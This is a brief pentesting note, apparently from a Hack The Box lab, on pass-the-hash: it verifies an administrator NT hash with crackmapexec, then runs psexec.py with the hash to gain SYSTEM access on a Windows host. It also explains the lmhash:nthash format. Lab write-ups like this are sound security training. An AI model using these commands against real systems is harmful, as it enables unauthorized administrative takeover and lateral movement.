psexec.py to pass the hash

When you know the administrator hash or some other user hash, then you can pass the hash using psexec.py tool. but before using psexec use crackmapexec to see pwn3d. when you see pwn3d then you may assume that you can do psexec

crackmapexec smb 10.10.10.192 -u administrator -H 184fb5e5178480be64824d4cd53b99ee

psexec.py -hashes 184fb5e5178480be64824d4cd53b99ee:184fb5e5178480be64824d4cd53b99ee administrator@10.10.10.192

psexec.py -hashes 184fb5e5178480be64824d4cd53b99ee:184fb5e5178480be64824d4cd53b99ee egotistical-bank.local/administrator@10.10.10.192

lmhash:nthash

lmhash is no more use by the os. only nthash (right side) is checked by the os. so either you give aad3b435b51404eeaad3b435b51404ee as lmhash on the left side and right side in the nthash. or you can give both side nthash what exactly we did here.

you will now have nt authority \ system access on that box.

Avi

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